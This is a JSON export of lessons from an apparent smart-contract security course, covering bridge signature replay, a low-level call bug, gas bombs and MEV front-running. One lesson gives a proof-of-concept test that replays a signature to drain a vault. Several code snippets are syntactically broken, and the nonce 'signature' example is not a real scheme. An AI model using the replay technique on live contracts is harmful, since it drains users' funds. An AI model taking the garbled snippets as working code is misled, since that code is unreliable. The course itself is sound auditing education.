measures.\"_**\n\n## The Bigger Picture\n\nSignature replay attacks expose significant vulnerabilities in the blockchain system, making them a fertile ground for attackers to exploit. By understanding the nuts and bolts of these attacks, you can develop robust systems and strategies to circumvent these risks, contributing to a secure and more decentralized financial network.\n\nAs we dive deeper into this brave, new, decentralized world, remember that understanding is the first step towards prevention. We aren't just tech enthusiasts; we're defenders of the future of finance! Be vigilant and keep learning.\n", + "updates": [] + }, + { + "id": "8ffdf897-73ba-4c5c-96c8-aa49a0c6f3ea", + "number": 27, + "title": "Signature Replay: Protection", + "slug": "signature-replay-protection", + "folderName": "27-signature-replay-protection", + "description": "", + "duration": 7, + "videoUrl": "6zQgZzW83Jg", + "rawMarkdownUrl": "/routes/security/7-bridges/27-signature-replay-protection/+page.md", + "markdownContent": "---\ntitle: Signature Replay Protection\n---\n\n\n\n---\n\n# Vulnerabilities Found in the V, R and S: A Deep Dive into Replay Protection\n\nWelcome to another deep dive into smart contract vulnerabilities. We're dissecting V, R and S -- a signature often found in blockchain technology.\n\n![](https://cdn.videotap.com/fepx5pOEwGHrxsJGEs9y-17.14.png)\n\nDuring this long and fascinating journey, we'll be breaking down each step to understand the vulnerabilities at a granular level. In particular, we'll be examining whether this signature benefits from replay protection. Spoiler alert: it doesn't. Let's delve in!\n\n## Crafting a Proof of Concept Code\n\nOur journey starts by raising a sobering question: Can this signature be deployed more than once? To answer this, we put together a proof-of-concept code that shows how this could potentially occur, leading to vulnerabilities.\n\n```javascript\nfunction testSignatureReplay() public {\n uint vaultInitialBalance = 1000e18;\n uint attackerInitialBalance = 100e18;\n address attacker = makeAdr(attacker);\n deal(address tokenAddress, vault, vaultInitialBalance);\n deal(address tokenAddress, attacker, attackerInitialBalance);\n uint v, bytes32 r, bytes32 s = vm.sign(private key ...);\n bytesmemory message = abi.encode(address token, 0, encodeCall(IERC20.transferFrom(address vault, attacker, attackerInitialBalance) ));//in a loop until vault balance is zero\n tokenbridge.withdrawTokensToL1(attacker, attackerInitialBalance, V, R, S);\n assertEqual(token.balanceOf(address attacker), attackerInitialBalance + vaultInitialBalance);\n assertEqual(token.balanceOf(address. Vault), 0);\n}\n```\n\nLet's break this down.\n\nThe function `testSignatureReplay()` assumes that a vault already holds some tokens. The initial balance of the vault and an attacker are given. The function then carries forth several deals. An attacker is set up who deposits tokens to a layer 2 (L2) chain.\n\n## Signature and Transfer\n\n```javascript\n uint v, bytes32 r, bytes32 s = vm.sign(private key ...);\n```\n\nThis part of our code does a bit of magic by signing the data with a private key. Thanks to Foundry, we can utilise a cheat code `VM.sign` to sign with the operator key, and then hash the actual data.\n\nThe next step is to formulate our `message`.\n\n```javascript\nbytes memory message = abi.encode(address token, 0, encodeCall(IERC20.transferFrom(address vault, attacker, attackerInitialBalance) ));\n```\n\nHere, we're essentially encoding a message instructing a transfer from the vault to the attacker. The signed message containing the V, R, and S values are usually what prompts MetaMask to ask for confirmation.\n\nThe signed message indicates a legitimate deposit of tokens from Layer 1 (L1) to L2. The operator, seeing this as valid, then submits V,R,and S on-chain.\n\nThis is the point where the replay attack becomes feasible. As soon as the operator's signature is placed on-chain, an attacker can simply keep invoking `withdrawTokensToL1` using that very same signature, draining balance from the vault until it's completely empty.\n\n## The Aftermath\n\nAnd how do we know it works? After running this function, we have successfully drained the vault entirely whilst increasing the attacker's balance accordingly:\n\n```javascript\nassertEqual(token.balanceOf(address attacker), attackerInitialBalance + vaultInitialBalance);\nassertEqual(token.balanceOf(address. Vault), 0);\n```\n\nIn short, we've just carried out a successful attack!\n\n## Wrapping up\n\nLooking at the given scenario, it becomes evident how signatures without replay protection, such as the one in our example, can pose significant security risks. Despite its relatively small codebase, such attacks can have substantial consequences. Always remember, when coding smart contracts, always ensure that your code includes mechanisms to prevent a replay attack.\n\nAudit data and additional findings related to the topic can be found in the corresponding Git Repo. Happy coding and be safe!\n\n> \"Security in blockchain technology involves a constant combat against potential threats and vulnerabilities.\"\n", + "updates": [] + }, + { + "id": "eb2034da-2814-4886-8a0d-22708017cf33", + "number": 28, + "title": "Signature Replay: Prevention", + "slug": "sig-replay-prevention", + "folderName": "28-sig-replay-prevention", + "description": "", + "duration": 1, + "videoUrl": "tZvU3fjIz80", + "rawMarkdownUrl": "/routes/security/7-bridges/28-sig-replay-prevention/+page.md", + "markdownContent": "---\ntitle: Sig Replay Prevention\n---\n\n\n\n---\n\n# The Art of Preventing Signature Replay Attacks\n\nHello there! In today's digital world, the protection of your data and privacy are of the utmost importance, especially when it comes to the vast field of cryptography. One common area where issues might arise involves signature replay attacks. Before we delve into the prevention methods, it's important to understand what these attacks are.\n\n![](https://cdn.videotap.com/5mzAbV6qyV86T7x1bv34-2.67.png)\n\nA signature replay attack involves an attacker illicitly using a data transmission or digital signature multiple times, potentially leading to fraudulent actions. In order to put a stop to this, the most prevalent method is to utilize something called 'nonces' or include a deadline. Curious to know more? Let's dive in.\n\n## Nonces – A Key Combatant Against Replay Attacks\n\nA ‘nonce,’ or ‘number used once,’ is an arbitrary number that can be used precisely one time in a cryptographic communication. It is commonly a random or pseudo-random number, serving as one of the strongest safeguards against signature replay attacks. It's this concept that plays a pivotal role in preventing these types of attacks.\n\nThe mechanism is straightforward: We put some specific parameters into the signature. When the signature gets hashed, or signed, it can only be used one time.\n\n## Ensuring The Authentic Signature Sender\n\nOf course, the nonce method is just the start. To ensure the integrity of our message, it might also be necessary to verify that the initial signature was obtained from the actual sender or originator.\n\nConsider this: The first time a message is signed, it's crucial that the signature be from the _true_ signer. It sounds obvious, right, but how can we make sure of this?\n\nAgain, our solution lies in the way we handle and hash our signatures, in something called a digital signature scheme. A digital signature scheme ensures that each signature made on the same message is unique by varying a part of the cryptographic elements used in the signing process. It might sound a bit complex, but let's break it down with a simple code example:\n\n```js\nfunction sign(message, key, private_param);\nnonce = random.getrandbits(128) // create a 128-bit random nonce\nhashed_private_param = hashlib.sha256(private_param).hexdigest()\nhashlib.sha256(key + nonce + message + hashed_private_param).hexdigest() // hash the key, nonce, message, and hashed private_param, and return as a hex string\n```\n\nIn this code, we’ve added one more parameter in the signing process, a private parameter that is unique for each sender. This element is hashed and added to our overall signature.\n\n## Conclusion\n\n> “Always make sure your messages and signatures come with a one-time ticket – The nonce.\"\n\nThe use of nonces, or one-time use data, in these signatures is a crucial element in ensuring that your digital signatures are protected from being misused. If utilized correctly, they can serve as a solid wall protecting you from the potential signature replay attacks. Generally, it all boils down to integrating this concept into the design and implementation of cryptographic systems.\n\nAs with any other part of cybersecurity, staying one step ahead of possible attackers is the name of the game, so it's essential to keep learning and adapting. Stay tuned for more updates and insights into the realm of cybersecurity!\n", + "updates": [] + }, + { + "id": "3a1b25ed-a5e3-4c7b-a2c4-2fe61c02505b", + "number": 29, + "title": "Exploit: Low level call to itself", + "slug": "low-level-exploit", + "folderName": "29-low-level-exploit", + "description": "", + "duration": 2, + "videoUrl": "WMV_JgAQNwI", + "rawMarkdownUrl": "/routes/security/7-bridges/29-low-level-exploit/+page.md", + "markdownContent": "---\ntitle: Low-Level Exploit\n---\n\n\n\n---\n\n# Uncovering Hidden Bugs in Code Base: A Developer's Challenge\n\nToday, let's delve into a particularly intriguing part of the code base that's rife with at least two major bugs. I encourage you to dig deep, find these bugs, and thoughtfully attempt to write them out. If you don't grasp the explanation right away, don't be discouraged - just refer to the GitHub repository linked to this section for a more comprehensive understanding of these bugs.\n\nEven if the bugs are a bit cryptic in nature, Slither – our static analysis tool – has lobbed a figurative tip-off in our direction, indicating that things aren't all peaches and cream. So, let's proceed to unravel these bugs, shall we?\n\n### When Things Go Wrong\n\nThe first bug we have on our hands isn't as straightforward as it might initially seem. This bug is associated with a code snippet that Slither flagged as suspicious or possibly detrimental.\n\n```js\nsendToL1(Arbitrary_message);\n```\n\nIs Slither's panic alarm warranted in this situation? Unfortunately, the answer, in this case, is a resounding **yes**. The bug is not just bad, it's downright dreadful.\n\n#### Arbitrariness and the Hidden Flaws\n\nWhat's the core problem, you ask? It all pertains to the way the `sendToL1` function passes arbitrary messages. In simple terms, the function is just accepting any given inputs without any verification system, which could be a potential security risk.\n\nTo grasp this problem, we need to understand the `vault` and its `approveTo` function. This particular function can only be called upon by the `bridge`.\n\n```js\nfunction approveTo(Bridge, Token) // Can only be called by the bridge\nif (caller != Bridge){\n throwToken.totalSupply -= caller.balancecaller.balance = 0\n }\n```\n\nNow, imagine if someone triggers this `approveTo` function, passing malicious data asking the bridge to approve tokens for a hacker. Then, in record time, the hacker manages to drain all the tokens in the vault. Sounds like a dreadful fate, doesn't it? In the world of coding, this is just as destructive and catastrophic.\n\n> Quote: \"Bugs are like viruses - they can cause a minor irk or lead to a total system downfall.\"\n\n### Slither's Warning: A Red Flag\n\nAside from dire warnings about the first bug, Slither also gives us a prompt about another flaw in the system.\n\nIdentifying these issues is crucial for ensuring that our code remains secure, efficient, and, above all, bug-free. So, let's not sideline Slither’s red flags, and give them as much attention, if not more, as we would to the other parts of our code base.\n\n## Conclusion\n\nBugs in your code base can range from harmless to a total catastrophe. Understanding them, and more importantly, identifying them before they wreak havoc, is a crucial part of any developer's journey. SO tune in next time when we delve into more bugs and how to debug them efficiently.\n\nStay curious and keep coding!\n\n- Note: In case of any queries or difficulties in understanding the bugs, kindly refer to the associated GitHub repo for further explanation, or feel free to leave your questions in the comment section below.\n", + "updates": [] + }, + { + "id": "79c17e62-5cdf-452a-b733-c84207283d0e", + "number": 30, + "title": "Exploit: Gas Bomb", + "slug": "gas-bomb", + "folderName": "30-gas-bomb", + "description": "", + "duration": 1, + "videoUrl": "lbzFcqkO0oA", + "rawMarkdownUrl": "/routes/security/7-bridges/30-gas-bomb/+page.md", + "markdownContent": "---\ntitle: Exploit: Gas Bomb\n---\n\n\n\n---\n\n# Demystifying Gas Bomb and Other Blockchain Vulnerabilities\n\nThe world of blockchain is buzzing with fascinating features and vulnerabilities. One such intriguing element I'd like to shed some light on is the phenomena known as the gas bomb. This seemingly complex occurrence has sparked much debate, and I hope this post will provide you with some clarity on what exactly it is, how it works, and the kind of impact it can have.\n\n## What is a Gas Bomb Anyway?\n\nA gas bomb in blockchain terms is a low-level call where Solidity, the smart contract programming language, and the Ethereum Virtual Machine (EVM), the runtime environment, struggle to estimate the amount of computational effort (gas) needed to execute certain transactions.\n\n![](https://cdn.videotap.com/ffmuYOJbZ3iqYxllhGBD-5.94.png)\n\n> **Note**: Gas refers to the computational effort required to execute an operation in the Ethereum network.\n\nA malicious user can exploit this to trick the network into allocating absurd amounts of gas, and thereby charging other network participants excessively to execute a function.\n\n## Understanding the Implications\n\nWhat's interesting about gas bombs is how they're used in the network. For instance, while some users might employ this method to gain profits, others seem to have darker motivations. Often, these users utilise this exploit for seemingly no tangible benefits. Their motivations? To disrupt the system and cause chaos.\n\n> \"Some people just want to watch the world burn.\"\n\nIt's a poignant phrase that well encapsulates the mentality of these malicious actors. They create chaos without expecting any monetary gain in return. Their goal isn’t to profit, but simply to disrupt the system - no rhyme, no reason, just pure anarchy.\n\n![](https://cdn.videotap.com/l0jIWaD8hhNflUJypCfy-22.29.png)\n\n## Ready To Dive Deep?\n\nIf by now, you're wrapped in a whirlwind of questions, I'm glad! Because what's learning without a little bit of challenge? But, if you're wondering what the hoo-ha I am talking about, now would be a good time to pause and take a breather.\n\nI encourage you to delve in, try to construct the proof of code for the vulnerabilities we discussed, and even to try your hand at crafting your gas bombs.\n\nTo get started, consider:\n\n1. Studying the structure of a low-level call in Solidity and the EVM,\n2. Understanding the significance of gas in the Ethereum network,\n3. Exploring how it's possible for the network to be fooled into allocating excess gas,\n4. Unveiling the motivations of malicious actors, and\n5. Learning how to protect yourself against such exploits.\n\nTo aid you in your quest, I've left a plethora of resources and exciting ensemble of ideas for you to navigate through in our [GitHub repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23).\n\n![](https://cdn.videotap.com/IqGVeU9yKyYfHHDeOCnY-41.6.png)\n\n## Never Stop Learning\n\nNow, we've been walking through these attacks, learning about them, discussing many proofs of code, and a lot of low-level calls. Remember, we are only at the beginning of our journey. Similar to any other journey you undertake, remember that what matters is your perseverance.\n\n> \"Pretty soon, you're going to need to start jogging or running.\"\n\nThe world of Blockchain is massive and ever-evolving. As we make our way through, be ready to pick up speed and adrenaline, from a casual amble to a determined sprint. I hope you are as excited as I am to continue this journey. Let's learn, explore, and grow together.\n", + "updates": [] + }, + { + "id": "92f33e5e-6c4d-405c-8700-d14a85995179", + "number": 31, + "title": "Recap", + "slug": "recap", + "folderName": "31-recap", + "description": "", + "duration": 5, + "videoUrl": "yULgehzLDa4", + "rawMarkdownUrl": "/routes/security/7-bridges/31-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n\n\n---\n\n# ![Blockchain](https://images.unsplash.com/photo-1560185004-65a33335a867?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8) GUIDE TO WALLET KEY MANAGEMENT, EVM, DIFF AND THE IMPORTANCE OF POST DEPLOYMENT IN BLOCKCHAIN\n\nHello folks! You're in for an exciting ride as today we'll be diving deeper into the world of blockchain. We've covered a lot, but there's a whole universe waiting to be explored.\n\nBefore we jump into the next section, here's an assignment. Conduct a complete competitive audit. The essence of this exercise is to immerse you in Wallet Key management, which plays a significant role in blockchain.\n\nThere's more! We'll then delve into the depths of the Ethereum Virtual Machine (EVM), Yule, Huff and Opcodes. We will close our session with four of verification and formal verification, symbolic execution - a mandatory code review that will boost your understanding of the subject.\n\nBefore that, let's quickly touch upon a DeFi Stablecoin and discuss the crucial step of post-deployment.\n\nSo let's take a breath, buckle up and review what we have learned so far!\n\n## A Deep Dive into EVM Diff\n\nDid I mention we will be exploring EVM Diff also? It's a fantastic tool that allows for comparison of different chains, say Ethereum to Optimism or Arbitrum, highlighting the nuances between these chains.\n\nThrough EVM Diff, you can observe how the chain IDs, names, block explorers vary, and how precompiles work differently. This makes it a constructive tool to test compatibility across various EVM compatible chains.\n\n![](https://cdn.videotap.com/d3RNbllZQnlENKKuA1Rp-72.28.png)\n\nNow, it's not all smooth sailing. There might be some hiccups, like finding some precompiles in Arbitum which are absent in EVM or Arbitum’s different transaction and signature types. Plus, their Opcodes function a bit differently, with some key Opcodes like Push Zero being unsupported on Arbitrum.\n\n## Harnessing the Power of Artificial Intelligence\n\n![](https://cdn.videotap.com/swSuUGyJFrnTQu8g4kzs-104.41.png)\n\nWe haven’t delved too much into AI yet, but it's worth mentioning its relevance especially for the crypto enthusiast. Use AI, like Chat GPT, Elon Musk's new 'Find, Use Grok' to simplify things in blockchain. It can be a helpful tool when decoding intricate patterns or asking pertinent questions.\n\nIn our roadmap, we have upcoming plans for an AI helper for [Cyfrin Updraft](https://updraft.cyfrin.io) that will be a game-changer. So, that's something to look forward to!\n\n## The Importance of Checklist: A Lesson from Tenderly and The Hans\n\nYes, the age-old practice of running through checklists is crucial, even in something as modern as blockchain.\n\nAlthough we didn’t discuss [Tenderly](https://tenderly.co/), it's a notable tool in this domain. Our focus was on the lessons from 'the Hans' stressing on the essentiality of having a checklist. These lists keep you on track, enabling a methodical approach to your manual review process.\n\n## Understanding Precompiles, Private Keys and Signatures\n\nWe mentioned polygon precompile during our case study, emphasizing on how crucial it is to cross-verify and how failing to do so can be costly.\n\nWe've delved into the concept of public and private keys and how these signatures work on-chain. The importance of nonce in signature replays was discussed - they work as a one-time pass for usage ensuring your signatures don't get misused.\n\nWe touched on several critical aspects, like undertaking low-level calls and dealing with the sign in it, and also brushed up on L1s and L2s.\n\n![](https://cdn.videotap.com/wx8Rvhp7nAsmP3hocQLb-200.78.png)\n\nBy now, you should be competent enough to write your own Proof of Concepts (POCs). The ball is in your court!\n\n## Historic Bridge Hacks - Ronan, Polly Nomad and Wormhole\n\nWe intentionally didn't touch upon these major blockchain hacks. Each of these hacks had a devastating effect, with losses running into hundreds of millions. However, they were mainly due to centralized processes, rather than any significant bug.\n\nReading [Rekt.news](https://www.rekt.news/) articles about these hacks will help you comprehend the magnitude of these events. The rise of protocols like chainlink CCIP is to address these vulnerabilities, aiming to diminish our reliance on centralized technology.\n\nThis is a lot to absorb, but remember, the world of crypto and blockchain is a non-stop learning journey. So keep exploring and evolving.\n", + "updates": [] + }, + { + "id": "239c896a-8965-4e4a-93dc-495f581939b1", + "number": 32, + "title": "Exercises", + "slug": "exercises", + "folderName": "32-exercises", + "description": "", + "duration": 2, + "videoUrl": "a4mvVYS8e1I", + "rawMarkdownUrl": "/routes/security/7-bridges/32-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n\n\n---\n\n# Decoding Blockchain Security: Navigating Attacks, and Ensuring Web Three Safety\n\nThe life of a security researcher is one of constant growth and learning. If you've completed this course and you're looking for the next steps and next actions you can take to better yourself in this space, we've provided some great suggestions:\n\nExercises:\n\n1. [Damn Vulnerable DeFi Challenges](https://www.damnvulnerabledefi.xyz/) 1, 2, 4\n2. Write a tweet thread about an interesting [finding from Solodit](https://solodit.xyz/)\n3. Tweet about how you finished the hardest audit yet!\n4. Read about more historic attacks:\n - [Signature Replay](https://solodit.xyz/issues/router-signatures-can-be-replayed-when-executing-messages-on-the-destination-domain-spearbit-connext-pdf)\n - [Merkle tree signature issues](https://solodit.xyz/issues/m-14-merkle-tree-related-contracts-vulnerable-to-cross-chain-replay-attacks-code4rena-factorydao-factorydao-contest-git)\n - [Polygon Double Spend](https://medium.com/immunefi/polygon-double-spend-bug-fix-postmortem-2m-bounty-5a1db09db7f1)\n - [Nomad Bridge Hack](https://medium.com/immunefi/hack-analysis-nomad-bridge-august-2022-5aa63d53814a)\n\n## Hands-on Security Research with Solodit\n\nNow to add a little fun to the mix. Visit Solodit, discover something that piques your interest, investigate old reported issues, and get on Twitter to share your findings! Why?\n\nCreating a tweet thread about your discoveries will help you consolidate knowledge, engage with peers and seasoned pros, and gain valuable insights on the topic. Not to mention, you could be setting the foundation for your personal brand in the security research field. So don’t shy away from sharing; this field thrives on collaborative knowledge sharing – the more you share, the more you learn.\n\n## The Journey Through Boss Bridge and Beyond\n\nCongratulations are in order! You've conquered Boss Bridge and are on the brink of completing part one of this extensive dive into blockchain security. This is hard stuff, no doubt. But you're standing tall, arms loaded with hefty concepts, embracing the weird and the wonderful in the world of blockchain security.\n\nThrough this hurdle-ridden journey, you've gleaned a wealth of knowledge, but we're not done just yet. Let's pause for an important interlude - a pit-stop at miner extractable value (MEV).\n\n## The Unskippable Chapter on Miner Extractable Value (MEV)\n\n“While it's optional to do the Vault guardians audit or security review, learning about the miner extractable value (MEV) is obligatory. All our contracts could be susceptible to MEV-related breaches\" - this just goes to show the significance of understanding miner extractable value (MEV) in the world of blockchain.\n\nIn the sections ahead, we'll dive into what MEV is, why it matters, and how we can fortify our contracts against potential issues stemming from it.\n\nNow, go ahead and take that well-deserved break, grab that cup of coffee or make that gym run. Come back refreshed, because we've got a lot more in store for you!\n\n## Wrapping Up\n\nThe world of technology is akin to a vast ocean, full of wonderful discoveries, but also home to some beastly challenges. This journey isn't meant to be a smooth sail. It's hard, and it’s meant to be. Embrace this rollercoaster ride and let the knowledge you gain empower you to make Web Three safer for all of us.\n\nSo kudos to you for making it this far; remember to rest and prepare for the next stint. Until then, happy learning!\n", + "updates": [] + } + ] + }, + { + "number": 8, + "id": "ed2143d3-17a0-4394-b225-f930e295ac04", + "title": "MEV & Governance", + "slug": "mev-and-governance", + "folderName": "8-mev-and-governance", + "lessons": [ + { + "id": "72251a4f-bba8-4c71-a8e6-5df9a58f0517", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 5, + "videoUrl": "nd4rKNSen6s", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# The Power of Repetition in Cybersecurity Research\n\nHello and welcome back! I certainly hope you've been embarking on the tasks and exercises that we've been laying out because their impact on your skillset cannot be overstated. As we reminded you at the beginning and will reiterate now, *repetition is the mother of skill*. The more time and effort you spend refining your abilities through practical application, the better you will get.\n\n## The Importance of Exercises\n\nDelving into these exercises is not simply a suggestion — it's an indispensable step towards heightening your aptitude. They serve as the stepping stones that pave the path to your mastery. So, prioritize these exercises and practice regularly. Their rewards are directly proportionate to the effort you invest.\n\n> \"*The more you do this, the better you will get. Doing these exercises is really important and really going to level you up.*\"\n\nAbundant in the nature of our work as cybersecurity researchers, or, as we like to say, security \"research-ers\", is the onus of extensive research.\n\n## Learning: A Continuous Journey\n\nAs we strive to fortify Web 3.0 and make the Internet safer, truly grasping that learning is not a destination but a continuous journey becomes a fundamental realization. In this pursuit of knowledge and endless learning, honing the skill of learning how to learn is paramount.\n\n> \"In this quest to keep web3 safer, you will be continuously learning. You will always be on the path for learning. So learning how to learn is going to be a great skill for you.\"\n\nEveryone has a unique learning style — what works for one person may not work for another. Therefore, it’s imperative to identify which process best suits your style of learning. Be it visual learning through infographics and diagrams, auditory learning through podcasts and audio lectures, or kinesthetic learning through hands-on, practical tasks, understanding and adapting to your preferred style can significantly contribute to your learning efficiency.\n\nObserve, adapt, and develop a process that works best for you. To retain as much information as possible from each lesson, experiment with different learning strategies and stick to the one with which you resonate the most.\n\n## Wrapping Up\n\nLearning is a continuous journey, especially in the field of cybersecurity where new trends and threats emerge regularly. Embrace the grind, value the process of learning and remember, it's the repetition of efforts that lead to perfection. Each task you complete, every solution you find, and every mistake you learn from takes you one step closer to becoming a seasoned cybersecurity researcher.\n\nSo, let us put these words into action and continue dedicating time to exercises and persistent learning. The path forward is filled with endless knowledge and it's time we kept walking on it.\n\nStay safe, and keep researching!", + "updates": [] + }, + { + "id": "ae4c5de7-7f2a-4cc1-ae5d-17419374c389", + "number": 2, + "title": "Perseverance", + "slug": "perseverance", + "folderName": "2-perseverance", + "description": "", + "duration": 3, + "videoUrl": "xb1wAceJBvY", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/2-perseverance/+page.md", + "markdownContent": "---\ntitle: Perserverance\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n\n# Why are we not going to audit Vault Guardians together? \n\nOriginally Section Eight was designed to act as our final boss vault; an encompassing guardians security review or audit. However, upon reflection, I've decided that we're going to break this up and let you into the complexity of this code base one piece at a time. \n\nAnd YOU my friend, you can go back and audit [Vault Guardians yourself](https://github.com/Cyfrin/8-vault-guardians-audit) :) \n\n## Vault Guardians\n\n\"vault\n\nSo we aren't going to audit this one together, but we are going to go over some of the attack vectors you'll find in this codebase. And after we do that, you can either:\n\n1. Audit Vault Guardians\n2. Start a competitive [CodeHawks](https://www.codehawks.com/) competitive audit\n\n> \"The reason that this is so big and this is such a monster of a final audit or security review is because you will get good and you will have to get good at coming to a code base and saying, I can do this. I can complete this. This looks overwhelming to me, but it's okay because I know I'm going to come out the other side triumphantly.\"\n\n## Teamwork Makes the Dream Work\n\nIn the vast realms of smart contract security, it's not all about solo missions. Teaming up with somebody else is an incredibly powerful move. Find a buddy in the [Codehawks/Cyfrin Discord]() to share your thoughts, brainstorm, and code together. This is not just about sharing the workload but learning how others think about attack vectors, and figuring out different strategies of how they approach this maze of codes. So sync up with someone, share your findings and grow together.\n\nDespite splitting up these sections, Section Eight remains our final boss. We won't go over it in this post, but don't feel left adrift. There's an audit data branch where you can check the answers and use as reference.\n\n## We start with MEV\n\nSo... To recap.\n\n1. We are going over some exploits in this section, in particular:\n 1. MEV\n 2. Governance Attacks\n2. And then, to finish part 1 of the security course, you can either:\n 1. Audit Vault Guardians\n 2. Start a competitive [CodeHawks](https://www.codehawks.com/) competitive audit\n\nSo... LETS GET IT!", + "updates": [] + }, + { + "id": "d3108829-ec37-4d38-a00f-af90d5f990d5", + "number": 3, + "title": "MEV: Introduction", + "slug": "mev-introduction", + "folderName": "3-mev-introduction", + "description": "", + "duration": 4, + "videoUrl": "vtAOnxdFHqg", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/3-mev-introduction/+page.md", + "markdownContent": "---\ntitle: MEV - Introduction\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## What is MEV?\n\nMev stands for \"Maximum Extractable Value\" and it's the value that blockchain node operators and users can extract by ordering transactions in a block in a specific order. \n\nIn order to develop an in-depth understanding, I would highly recommend visiting [Flashbots.net](https://www.flashbots.net/), a research and development organization dedicated to counteracting the negative implications of MEV. Their 'New to MEV' page, in particular, is a fantastic learning resource.\n\n## What is the mempool? \n\n\"regular\n\nWhen a transaction is initiated, it is directed to a specific node which, instead of immediately integrating it into its block, places it into its 'memory pool', or 'mempool'. This constitutes the lower tier of workings that enable blockchain.\n\n\"mempool\"\n\nAs we know, Ethereum is a Proof-of-stake blockchain and the nodes essentially \"take turns\" building blocks for the blockchain. So if you send your transaction to a single node, the node will have to wait until it's that nodes turn to include your transaction! This could take months! So what the node does is that accepts your transaction, and will often \"fan out\" your transaction to other nodes. \n\nIf it's one of the other nodes turns to build the block, if you sent enough of a tip (gas) with your transaction, the node will include your transaction in the block.\n\nSo this \"mempool\" is like a waiting room for transactions.\n\n## Front-running\n\n\"front-running\"\n\nSuppose you're a malicious user and want to use this to your advantage. You have the ability to scan the mempool, essentially predicting future transactions. Let's say User A is malicious, and sees someone make a transaction that is going to make them $100. \n\n...Well User A might just say \"Hey! I want to make $100!\"\n\nSo what User A can do is something called *front-running*. They can send their *own* transaction *ahead* of your transaction to extra some value. The only reason they are able to extract this value is because they were able to see your transaction ahead of time. \n\nFront-running is one of the most common forms of MEV.", + "updates": [] + }, + { + "id": "79a5fc3d-3b95-40d2-a993-07ac09a132cb", + "number": 4, + "title": "MEV: Minimized", + "slug": "mev-minimized", + "folderName": "4-mev-minimized", + "description": "", + "duration": 1, + "videoUrl": "9HlscUH6NDI", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/4-mev-minimized/+page.md", + "markdownContent": "---\ntitle: MEV - Minimized\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# MEV - Minimized\n\nWe can take a look at this image to see a minimized visual representation of what MEV looks like. In specific, this kind of MEV is known as \"front-running\".\n\n\"regular\n\n# MEV - Everywhere\n\nBut not only that, ALL of our sections in the security course have been vulnerable to MEV attacks! Let's go over them...", + "updates": [] + }, + { + "id": "a8e7cd03-4078-468e-8bd1-6daaa2e043cc", + "number": 5, + "title": "MEV: Puppy Raffle", + "slug": "mev-in-puppy-raffle", + "folderName": "5-mev-in-puppy-raffle", + "description": "", + "duration": 1, + "videoUrl": "Xu52108DvUo", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/5-mev-in-puppy-raffle/+page.md", + "markdownContent": "---\ntitle: MEV - Minimized\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n# Front Running\n\n## The Puppy Raffle Demo\n\nOur Puppy Raffle's core function is `selectWinner`, which allows users to select a winner in any given transaction. While this `selectWinner` transaction is in flight (pending confirmation), it is readable by other parties involved in the transaction. This means they can potentially see that the impending winner is user A (let's call them MevBot for the sake of argument) and then strategize accordingly.\n\n```javascript\nfunction selectWinner() { // Winner selection codewinner = User A\n```\n\n## When Front Running Strikes\n\n\"puppy\n\nImagine user B - let's call them the Frontrunner - realizing that they're not about to win the raffle. Naturally, they may not want to continue participating in it. Sensing impending loss, Frontrunner springs into action.\n\n*A simple plan*: Before the `selectWinner` transaction goes through, they initiate another function - `refund` - which allows them to pull out their betted money.\n\n```javascript\nfunction refund() {// Refund code// User B pulls out their betted money}\n```\n\nThey are essentially saying, '*No, not on my watch! I'm getting my refund.*' And voila, Frontrunner's transaction gets refunded, while the `selectWinner` function will eventually be executed resulting in (User A) receiving less money. Why? Because Frontrunner (User B) had effectively front-run them and withdrew their betted money!\n\n## The Full Example: Implications of Front Running\n\nLet's add some numbers to visualize this more clearly:\n\n1. Let's say the Puppy Raffle has a total of 10 ETH.\n2. Frontrunner sees that User A is about to win.\n3. Frontrunner and all their peers launch their own transactions to call the `refund` function, effectively withdrawing a substantial portion of the betted money.\n4. Suddenly, there are only 1 ETH left in the pool, instead of the initial 10 ETH.\n5. Finally, the `selectWinner` transaction goes through, and MevBot ends up with a meager prize of 1 ETH instead of the expected 10 ETH.\n\nHere, front running literally robs User A of their full winnings. Frontrunner — observing the transaction in the mempool and acting just in time — was able to drastically alter the outcome.\n\n> \"The ability to 'spy' on pending transactions opens up the possibility for opportunists to front-run your transactions. They can swiftly act in ways that are in their favor but can potentially be detrimental to others, as the 'Puppy Raffle' scenario demonstrates.\"", + "updates": [] + }, + { + "id": "a1e5c3a3-9f17-46f0-9146-32b2842cd63f", + "number": 6, + "title": "MEV: TSwap", + "slug": "mev-t-swap", + "folderName": "6-mev-t-swap", + "description": "", + "duration": 2, + "videoUrl": "XSaJTLbtfaM", + "rawMarkdownUrl": "/routes/security/8-mev-and-governance/6-mev-t-swap/+page.md", + "markdownContent": "---\ntitle: MEV - T-Swap\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## Exploring the T Swap Issue\n\nWhile working with T swap, there was a prominent issue that surfaced - an issue which was rooted right in the `deposit` function. The problematic player at hand was an unused `deadline` parameter.\n\nTo find the culprit, we navigated to the `SRC` and inspected the `TswapPool.sol` in T swap, where we saw the troublesome `deadline` input parameter laying idly in the `deposit` function.\n\n```javascript\n function deposit(\n uint256 wethToDeposit,\n uint256 minimumLiquidityTokensToMint,\n uint256 maximumPoolTokensToDeposit,\n uint64 deadline\n )\n```\n\nAnd, you ask, what was the consequence of this unutilized parameter? Well, its existence led to a scenario where a deposited transaction could potentially be delayed without encountering a timeout, thereby enabling 'front running'. \n\nA node who receives this transaction could hold your deposit transaction until it benefits them to deposit you in!\n\n## Understand the Impact: An Simple Illustration\n\n\"t-swap\n\nLet's understand the implications with an example. Suppose a user, 'User A', initiates a `deposit` call. However, this call was sent to a particular 